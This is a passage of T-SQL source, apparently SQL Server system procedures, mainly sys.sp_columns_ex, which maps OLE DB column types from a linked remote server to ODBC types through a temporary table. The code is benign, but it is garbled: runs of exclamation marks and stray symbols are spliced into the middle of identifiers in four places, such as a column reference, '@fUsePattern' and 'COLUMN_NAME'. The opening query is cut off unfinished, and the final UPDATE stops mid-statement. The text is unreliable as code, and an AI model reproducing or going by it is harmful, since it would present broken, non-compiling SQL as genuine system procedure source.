        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER             = s_cov.TABLE_QUALIFIER,
            TABLE_OWNER                 = convert(sysname,schema_name(tt.schema_id)),
            TABLE_NAME                  = convert(sysname,tt.name),
            COLUMN_NAME                 = s_cov.COLUMN_NAME,
            DATA_TYPE                   = s_cov.DATA_TYPE,
            TYPE_NAME                   = s_cov.TYPE_NAME,
            "PRECISION"                 = s_cov.PRECISION,
            "LENGTH"                    = s_cov.LENGTH,
            SCALE                       = s_cov.SCALE,
            RADIX                       = s_cov.RADIX,
            NULLABLE                    = s_cov.NULLABLE,
            REMARKS                     = s_cov.REMARKS,
            COLUMN_DEF                  = s_cov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_cov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_cov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_cov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_cov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_cov.IS_NULLABLE,
            SS_IS_SPARSE                = convert(smallint, 0),
            SS_IS_COLUMN_SET            = convert(smallint, 0),
            SS_IS_COMPUTED              = s_cov.SS_IS_COMPUTED,
            SS_IS_IDENTITY              = s_cov.SS_IS_IDENTITY,
            SS_UDT_CATALOG_NAME         = s_cov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME          = s_cov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME   = s_cov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME    = s_cov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME     = s_cov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME            = s_cov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_cov.SS_DATA_TYPE

        from
            sys.spt_columns_odbc_view s_cov inner join
            sys.table_types tt on
               (
                  s_cov.object_id = tt.type_table_object_id
               )

        where
            s_cov.ODBCVER = @ODBCVer and
            (@table_name is null or tt.name like @table_name) and
            (@table_owner is null or schema_name(tt.SCHEMA_ID) like @table_owner) and
            (@column_name is null or s_cov.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(lC5vb
create procedure sys.sp_columns_ex
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @column_name        sysname = null,
    @ODBCVer            int = 2
)
as
    set nocount on
    declare
        @DBCOLUMNFLAGS_ISFIXEDLENGTH binary(1), @DBCOLUMNFLAGS_ISLONG   binary(1),
        @DBCOLUMNFLAGS_ISROWVER binary(2),      @DBCOLUMNFLAGS_SS_ISVARIABLESCALE binary(4),
        @fUsePattern bit

    select @fUsePattern = 1

    select
        @DBCOLUMNFLAGS_ISFIXEDLENGTH    = 0x10, @DBCOLUMNFLAGS_ISLONG   = 0x80,
        @DBCOLUMNFLAGS_ISROWVER      = 0x0200,  @DBCOLUMNFLAGS_SS_ISVARIABLESCALE = 0x40000000

    declare
        @DBTYPE_I2 smallint,            @DBTYPE_I4 smallint,
        @DBTYPE_R4 smallint,            @DBTYPE_R8 smallint,
        @DBTYPE_CY smallint,            @DBTYPE_DATE smallint,
        @DBTYPE_BSTR smallint,          @DBTYPE_BOOL smallint,
        @DBTYPE_VARNUMERIC smallint,    @DBTYPE_DECIMAL smallint,
        @DBTYPE_UI1 smallint,           @DBTYPE_BYREF smallint,
        @DBTYPE_I1 smallint,            @DBTYPE_UI2 smallint,
        @DBTYPE_UI4 smallint,           @DBTYPE_I8 smallint,
        @DBTYPE_UI8 smallint,           @DBTYPE_GUID smallint,
        @DBTYPE_BYTES smallint,         @DBTYPE_STR smallint,
        @DBTYPE_WSTR smallint,          @DBTYPE_NUMERIC smallint,
        @DBTYPE_DBDATE smallint,        @DBTYPE_DBTIME smallint,
        @DBTYPE_DBTIMESTAMP smallint,   @DBTYPE_XML smallint,
        @DBTYPE_DBTIME2 smallint,       @DBTYPE_DBTIMESTAMPOFFSET smallint

    if (@ODBCVer is null) or (@ODBCVer <> 3)
        select @ODBCVer = 2

    select
        @DBTYPE_I2          = 2,    @DBTYPE_I4          = 3,
        @DBTYPE_R4          = 4,    @DBTYPE_R8          = 5,
        @DBTYPE_CY          = 6,    @DBTYPE_DATE        = 7,
        @DBTYPE_BSTR        = 8,    @DBTYPE_BOOL        = 11,
        @DBTYPE_VARNUMERIC  = 139,  @DBTYPE_DECIMAL     = 14,
        @DBTYPE_UI1         = 17,   @DBTYPE_BYREF       = 16384,
        @DBTYPE_I1          = 16,   @DBTYPE_UI2         = 18,
        @DBTYPE_UI4         = 19,   @DBTYPE_I8          = 20,
        @DBTYPE_UI8         = 21,   @DBTYPE_GUID        = 72,
        @DBTYPE_BYTES       = 128,  @DBTYPE_STR         = 129,
        @DBTYPE_WSTR        = 130,  @DBTYPE_NUMERIC     = 131,
        @DBTYPE_DBDATE      = 133,  @DBTYPE_DBTIME      = 134,
        @DBTYPE_DBTIMESTAMP = 135,  @DBTYPE_XML         = 141,
        @DBTYPE_DBTIME2     = 145,  @DBTYPE_DBTIMESTAMPOFFSET = 146

    declare
        @ODS_SMALLINT_NOT_NULL tinyint, @ODS_INT_NULL tinyint,
        @ODS_INT_NOT_NULL tinyint,      @ODS_TINYINT_NOT_NULL tinyint,
        @ODS_REAL_NOT_NULL tinyint,     @ODS_FLOAT_NULL tinyint,
        @ODS_FLOAT_NOT_NULL tinyint,    @ODS_MONEY_NULL tinyint,
        @ODS_MONEY_NOT_NULL tinyint,    @ODS_DATETIME_NULL tinyint,
        @ODS_DATETIME_NOT_NULL tinyint, @ODS_TEXT tinyint,
        @ODS_BIT tinyint,               @ODS_DECIMAL tinyint,
        @ODS_NUMERIC tinyint,           @ODS_GUID tinyint,
        @ODS_IMAGE tinyint,             @ODS_TIMESTAMP tinyint,
        @ODS_BINARY_NULL tinyint,       @ODS_BINARY_NOT_NULL tinyint,
        @ODS_VARBINARY tinyint,         @ODS_CHAR_NULL tinyint,
        @ODS_CHAR_NOT_NULL tinyint,     @ODS_VARCHAR tinyint,
        @ODS_DATE tinyint,              @ODS_TIME tinyint,
        @ODS_DATETIME2 tinyint,         @ODS_DATETIMEOFFSET tinyint

    select
        @ODS_IMAGE = 34,            @ODS_TEXT = 35,
        @ODS_GUID = 36,             @ODS_BINARY_NULL = 37,
        @ODS_VARBINARY = 37,        @ODS_INT_NULL = 38,
        @ODS_CHAR_NULL = 39,        @ODS_VARCHAR = 39,
        @ODS_TIMESTAMP = 45,        @ODS_BINARY_NOT_NULL = 45,
        @ODS_CHAR_NOT_NULL = 47,    @ODS_TINYINT_NOT_NULL = 48,
        @ODS_BIT = 50,              @ODS_SMALLINT_NOT_NULL = 52,
        @ODS_INT_NOT_NULL = 56,     @ODS_REAL_NOT_NULL = 59,
        @ODS_MONEY_NOT_NULL = 60,   @ODS_DATETIME_NOT_NULL = 61,
        @ODS_FLOAT_NOT_NULL = 62,   @ODS_DECIMAL = 106,
        @ODS_NUMERIC = 108,         @ODS_FLOAT_NULL = 109,
        @ODS_MONEY_NULL = 110,      @ODS_DATETIME_NULL = 111,
        @ODS_DATE = 40,             @ODS_TIME = 41,
        @ODS_DATETIME2 = 42,        @ODS_DATETIMEOFFSET = 43

    declare
        @ODBC_GUID smallint,        @ODBC_NTEXT smallint,
        @ODBC_NVARCHAR smallint,    @ODBC_NCHAR smallint,
        @ODBC_BIT smallint,         @ODBC_TINYINT smallint,
        @ODBC_IMAGE smallint,       @ODBC_VARBINARY smallint,
        @ODBC_TIMESTAMP smallint,   @ODBC_BINARY smallint,
        @ODBC_TEXT smallint,        @ODBC_CHAR smallint,
        @ODBC_NUMERIC smallint,     @ODBC_DECIMAL smallint,
        @ODBC_MONEY smallint,       @ODBC_INT smallint,
        @ODBC_SMALLINT smallint,    @ODBC_FLOAT smallint,
        @ODBC_REAL smallint,        @ODBC_VARCHAR smallint,
        @ODBC_DATETIME smallint,    @ODBC_DATE smallint,
        @ODBC_TIME2 smallint,       @ODBC_DATETIMEOFFSET smallint

    select
        @ODBC_GUID      = -11,  @ODBC_NTEXT     = -10,
        @ODBC_NVARCHAR  = -9,   @ODBC_NCHAR     = -8,
        @ODBC_BIT       = -7,   @ODBC_TINYINT   = -6,
        @ODBC_IMAGE     = -4,   @ODBC_VARBINARY = -3,
        @ODBC_TIMESTAMP = -2,   @ODBC_BINARY    = -2,
        @ODBC_TEXT      = -1,   @ODBC_CHAR      = 1,
        @ODBC_NUMERIC   = 2,    @ODBC_DECIMAL   = 3,
        @ODBC_MONEY     = 3,    @ODBC_INT       = 4,
        @ODBC_SMALLINT  = 5,    @ODBC_FLOAT     = 6,
        @ODBC_REAL      = 7,    @ODBC_VARCHAR   = 12,
        @ODBC_DATETIME  =   case @ODBCVer
                                when 2 then 11
                                else 93
                            end,
        @ODBC_DATE =        case @ODBCVer
                                when 2 then 9
                                else 91
                            end,
        @ODBC_TIME2 = -154,     @ODBC_DATETIMEOFFSET = -155

    create table #tmp_columns
    (
        TABLE_CAT sysname collate catalog_default NULL,
        TABLE_SCHEM sysname collate catalog_default NULL,
        TABLE_NAME sysname  collate catalog_default NOT NULL,
        COLUMN_NAME sysname collate catalog_default NULL,
        DATA_TYPE smallint NOT NULL,
        TYPE_NAME sysname  collate catalog_default NULL,
        COLUMN_SIZE int NULL,
        BUFFER_LENGTH int NULL,
        DECIMAL_DIGITS smallint NULL,
        NUM_PREC_RADIX smallint NULL,
        NULLABLE smallint NOT NULL,
        REMARKS nvarchar(254) collate catalog_default NULL,
        COLUMN_DEF nvarchar(254) collate catalog_default NULL,
        SQL_DATA_TYPE smallint null,
        SQL_DATETIME_SUB smallint NULL,
        CHAR_OCTET_LENGTH int NULL,
        ORDINAL_POSITION smallint,
        IS_NULLABLE varchar(254) collate catalog_default NOT NULL,
        SS_DATA_TYPE tinyint null,-- Info here is for backward compatibility - SQL 6.5
        COLUMN_FLAGS int NOT NULL -- This is not returned in the final resultset, but used in conditional logic
    )

    --
    -- Gathers column info through DQ(OLEDB) from remote server.
    --
    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @table_name),0) = 0) and
            (isnull(charindex('_', @table_name),0) = 0) and
            (isnull(charindex('[', @table_name),0) = 0) and
            (isnull(charindex('%', @table_schema),0) = 0) and
            (isnull(charindex('_', @table_schema),0) = 0) and
            (isnull(charindex('[', @table_schema),0) = 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePa!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(mC5kvbttern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        insert into #tmp_columns
        select
            TABLE_CAT           = c.TABLE_CATALOG,
            TABLE_SCHEM         = c.TABLE_SCHEMA,
            TABLE_NAME          = c.TABLE_NAME,
            COLUMN_NAME         = c.COLUMN_NAME,
            DATA_TYPE           = case c.DATA_TYPE & ~@DBTYPE_BYREF
                                      when @DBTYPE_I2             then @ODBC_SMALLINT
                                      when @DBTYPE_I4             then @ODBC_INT
                                      when @DBTYPE_R4             then @ODBC_REAL
                                      when @DBTYPE_R8             then @ODBC_FLOAT
                                      when @DBTYPE_CY             then @ODBC_MONEY
                                      when @DBTYPE_DATE           then @ODBC_DATETIME
                                      when @DBTYPE_DBDATE         then @ODBC_DATE
                                      when @DBTYPE_DBTIME         then @ODBC_DATETIME
                                      when @DBTYPE_DBTIMESTAMP    then @ODBC_DATETIME
                                      when @DBTYPE_BOOL           then @ODBC_BIT
                                      when @DBTYPE_DECIMAL        then @ODBC_DECIMAL
                                      when @DBTYPE_UI1            then @ODBC_TINYINT
                                      when @DBTYPE_I1             then @ODBC_NUMERIC
                                      when @DBTYPE_UI2            then @ODBC_NUMERIC
                                      when @DBTYPE_UI4            then @ODBC_NUMERIC
                                      when @DBTYPE_I8             then @ODBC_NUMERIC
                                      when @DBTYPE_UI8            then @ODBC_NUMERIC
                                      when @DBTYPE_NUMERIC        then @ODBC_NUMERIC
                                      when @DBTYPE_VARNUMERIC     then @ODBC_NUMERIC
                                      when @DBTYPE_GUID           then @ODBC_GUID
                                      when @DBTYPE_DBTIME2        then @ODBC_TIME2
                                      when @DBTYPE_DBTIMESTAMPOFFSET then @ODBC_DATETIMEOFFSET
                                      when @DBTYPE_BYTES then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_IMAGE -- exclude varbinary(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                                      (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                                       p.COLUMN_SIZE = 8
                                                  then @ODBC_TIMESTAMP
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                                  then @ODBC_BINARY
                                              else @ODBC_VARBINARY -- default
                                          end
                                      when @DBTYPE_STR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_TEXT -- exclude varchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_CHAR
                                              else @ODBC_VARCHAR -- default
                                          end
                                      when @DBTYPE_WSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_BSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_XML then @ODBC_NVARCHAR
                                      else @ODBC_NVARCHAR -- Unknown OleDB datatype
                                  end,
            TYPE_NAME           = p.TYPE_NAME,
            COLUMN_SIZE         = COALESCE(c.CHARACTER_MAXIMUM_LENGTH, c.NUMERIC_PRECISION, p.COLUMN_SIZE),
            BUFFER_LENGTH       = c.CHARACTER_OCTET_LENGTH,
            DECIMAL_DIGITS      = c.NUMERIC_SCALE,
            NUM_PREC_RADIX      = NULL,
            NULLABLE            = convert(smallint, c.IS_NULLABLE),
            REMARKS             = convert(nvarchar(254),c.DESCRIPTION),
            COLUMN_DEF          = convert(nvarchar(254),c.COLUMN_DEFAULT),
            SQL_DATA_TYPE       = NULL,
            SQL_DATETIME_SUB    = convert(smallint, c.DATETIME_PRECISION), -- temporary holder (to be updated later)
            CHAR_OCTET_LENGTH   = c.CHARACTER_OCTET_LENGTH,
            ORDINAL_POSITION    = c.ORDINAL_POSITION,
            IS_NULLABLE         = case c.IS_NULLABLE
                                    when 1 then 'YES'
                                    else 'NO'
                                  end,
            SS_DATA_TYPE        = null,
            COLUMN_FLAGS        = c.COLUMN_FLAGS
        from
            sys.fn_remote_columns (@table_server,@table_catalog,@table_schema,@table_name,NULL) c,
            sys.fn_remote_provider_types (@table_server, NULL, NULL) p -- LUXOR/KAGERA don't support restricting DATA_TYPE
        where
            c.DATA_TYPE = p.DATA_TYPE and p.BEST_MATCH = 1
            and
            (
                c.COLUMN_NAME like @column_name or
                @column_name is NULL
            )
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        -- copy&pasted from above, but (1) and (2) are different
        insert into #tmp_columns
        select
            TABLE_CAT           = c.TABLE_CATALOG,
            TABLE_SCHEM         = c.TABLE_SCHEMA,
            TABLE_NAME          = c.TABLE_NAME,
            CO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(nC5QvbLUMN_NAME         = c.COLUMN_NAME,
            DATA_TYPE           = case c.DATA_TYPE & ~@DBTYPE_BYREF
                                      when @DBTYPE_I2             then @ODBC_SMALLINT
                                      when @DBTYPE_I4             then @ODBC_INT
                                      when @DBTYPE_R4             then @ODBC_REAL
                                      when @DBTYPE_R8             then @ODBC_FLOAT
                                      when @DBTYPE_CY             then @ODBC_MONEY
                                      when @DBTYPE_DATE           then @ODBC_DATETIME
                                      when @DBTYPE_DBDATE         then @ODBC_DATE
                                      when @DBTYPE_DBTIME         then @ODBC_DATETIME
                                      when @DBTYPE_DBTIMESTAMP    then @ODBC_DATETIME
                                      when @DBTYPE_BOOL           then @ODBC_BIT
                                      when @DBTYPE_DECIMAL        then @ODBC_DECIMAL
                                      when @DBTYPE_UI1            then @ODBC_TINYINT
                                      when @DBTYPE_I1             then @ODBC_NUMERIC
                                      when @DBTYPE_UI2            then @ODBC_NUMERIC
                                      when @DBTYPE_UI4            then @ODBC_NUMERIC
                                      when @DBTYPE_I8             then @ODBC_NUMERIC
                                      when @DBTYPE_UI8            then @ODBC_NUMERIC
                                      when @DBTYPE_NUMERIC        then @ODBC_NUMERIC
                                      when @DBTYPE_VARNUMERIC     then @ODBC_NUMERIC
                                      when @DBTYPE_GUID           then @ODBC_GUID
                                      when @DBTYPE_DBTIME2        then @ODBC_TIME2
                                      when @DBTYPE_DBTIMESTAMPOFFSET then @ODBC_DATETIMEOFFSET
                                      when @DBTYPE_BYTES then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_IMAGE -- exclude varbinary(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                                      (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                                       p.COLUMN_SIZE = 8
                                                  then @ODBC_TIMESTAMP
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH)
                                                  then @ODBC_BINARY
                                              else @ODBC_VARBINARY -- default
                                          end
                                      when @DBTYPE_STR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG ) or (p.COLUMN_SIZE > 8000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_TEXT -- exclude varchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_CHAR
                                              else @ODBC_VARCHAR -- default
                                          end
                                      when @DBTYPE_WSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_BSTR then
                                          case
                                              when ((c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISLONG = @DBCOLUMNFLAGS_ISLONG) or (p.COLUMN_SIZE > 4000)) and
                                                   (c.CHARACTER_MAXIMUM_LENGTH <> 0) then @ODBC_NTEXT -- exclude nvarchar(max) here and use default
                                              when (c.COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH = @DBCOLUMNFLAGS_ISFIXEDLENGTH) then @ODBC_NCHAR
                                              else @ODBC_NVARCHAR -- default
                                          end
                                      when @DBTYPE_XML then @ODBC_NVARCHAR
                                      else @ODBC_NVARCHAR -- Unknown OleDB datatype
                                  end,
            TYPE_NAME           = p.TYPE_NAME,
            COLUMN_SIZE         = COALESCE(c.CHARACTER_MAXIMUM_LENGTH, c.NUMERIC_PRECISION, p.COLUMN_SIZE),
            BUFFER_LENGTH       = c.CHARACTER_OCTET_LENGTH,
            DECIMAL_DIGITS      = c.NUMERIC_SCALE,
            NUM_PREC_RADIX      = NULL,
            NULLABLE            = convert(smallint, c.IS_NULLABLE),
            REMARKS             = convert(nvarchar(254),c.DESCRIPTION),
            COLUMN_DEF          = convert(nvarchar(254),c.COLUMN_DEFAULT),
            SQL_DATA_TYPE       = NULL,
            SQL_DATETIME_SUB    = convert(smallint, c.DATETIME_PRECISION), -- temporary holder (to be updated later)
            CHAR_OCTET_LENGTH   = c.CHARACTER_OCTET_LENGTH,
            ORDINAL_POSITION    = c.ORDINAL_POSITION,
            IS_NULLABLE         = case c.IS_NULLABLE
                                      when 1 then 'YES'
                                      else 'NO'
                                  end,
            SS_DATA_TYPE        = null,
            COLUMN_FLAGS        = c.COLUMN_FLAGS
        from
            sys.fn_remote_columns (@table_server,@table_catalog,NULL,NULL,NULL) c, -- (1)
            sys.fn_remote_provider_types (@table_server, NULL, NULL) p -- LUXOR/KAGERA don't support restricting DATA_TYPE
        where
            c.DATA_TYPE = p.DATA_TYPE and p.BEST_MATCH = 1 and
            (
                TABLE_SCHEMA like @table_schema or
                @table_schema is NULL or
                (TABLE_SCHEMA is NULL and @table_schema = N'%')
            )
            and
            (
                c.COLUMN_NAME like @column_name or
                @column_name is NULL
            ) and
            c.TABLE_NAME like @table_name -- (2)
    end

    --
    -- Converts OLEDB types to ODBC types.
    --
    update #tmp_columns
    set
        DATA_TYPE               = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then @ODBC_NVARCHAR
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_DATE, @ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                          then @ODBC_NVARCHAR
                                      else #tmp_columns.DATA_TYPE
                                  end,
        TYPE_NAME               = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_BINARY and
                                          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(oC5@vb (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISROWVER) = @DBCOLUMNFLAGS_ISROWVER and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH and
                                           BUFFER_LENGTH = 8
                                          then 'timestamp'
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then 'datetime2'
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 3
                                          then 'datetime'
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 0
                                          then 'smalldatetime'
                                      when #tmp_columns.DATA_TYPE = @ODBC_MONEY and
                                           #tmp_columns.COLUMN_SIZE = 10
                                          then 'smallmoney'
                                      when (#tmp_columns.DATA_TYPE in (@ODBC_BINARY, @ODBC_CHAR) and
                                            (COLUMN_FLAGS & @DBCOLUMNFLAGS_ISFIXEDLENGTH) = @DBCOLUMNFLAGS_ISFIXEDLENGTH) or
                                           #tmp_columns.DATA_TYPE in (@ODBC_TEXT, @ODBC_NTEXT, @ODBC_IMAGE)
                                          then spt_dt.TYPE_NAME collate catalog_default
                                      else isnull(#tmp_columns.TYPE_NAME, spt_dt.TYPE_NAME collate catalog_default)
                                  end,
        COLUMN_SIZE             = case
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_REAL, @ODBC_FLOAT) then -- app. numeric types
                                          spt_dt.data_precision
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 19
                                                  else
                                                      (20 + #tmp_columns.SQL_DATETIME_SUB)
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 0
                                          then 16
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           #tmp_columns.SQL_DATETIME_SUB = 3
                                          then 23
                                      when #tmp_columns.DATA_TYPE = @ODBC_TIME2
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 8
                                                  else
                                                      (9 + #tmp_columns.SQL_DATETIME_SUB)
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIMEOFFSET
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 26
                                                  else
                                                      (27 + #tmp_columns.SQL_DATETIME_SUB)
                                                  end
                                      else #tmp_columns.COLUMN_SIZE
                                  end,
        BUFFER_LENGTH           = case
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_NUMERIC, @ODBC_DECIMAL) then  -- decimal/numeric types
                                          COLUMN_SIZE+2
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 38 -- 19*2
                                                  else
                                                      (20 + #tmp_columns.SQL_DATETIME_SUB)*2
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATE
                                          then 20
                                      when #tmp_columns.DATA_TYPE = @ODBC_TIME2
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 16 -- 8*2
                                                  else
                                                      (9 + #tmp_columns.SQL_DATETIME_SUB)*2
                                                  end
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIMEOFFSET
                                          then
                                              case
                                                  when #tmp_columns.SQL_DATETIME_SUB = 0
                                                      then 52 -- 26*2
                                                  else
                                                      (27 + #tmp_columns.SQL_DATETIME_SUB)*2
                                                  end
                                      when isnull (#tmp_columns.BUFFER_LENGTH,0) = 0 then coalesce(spt_dt.length, spt_dt.data_precision)
                                      else #tmp_columns.BUFFER_LENGTH
                                  end,
        DECIMAL_DIGITS          = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = 0
                                          then #tmp_columns.SQL_DATETIME_SUB
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_DATETIME, @ODBC_DATE, @ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                          then NULL
                                      else COALESCE (DECIMAL_DIGITS, spt_dt.numeric_scale)
                                  end,
        NUM_PREC_RADIX          = spt_dt.RADIX,
        SQL_DATA_TYPE           = case
                                      when #tmp_columns.DATA_TYPE = @ODBC_DATETIME and
                                           (COLUMN_FLAGS & @DBCOLUMNFLAGS_SS_ISVARIABLESCALE) = @DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                          then @ODBC_NVARCHAR
                                      when #tmp_columns.DATA_TYPE IN (@ODBC_DATE, @ODBC_TIME2, @ODBC_DATETIMEOFFSET)
                                          then @ODBC_NVARCHAR
                                      else spt_dt.SQL_DATA_TYPE
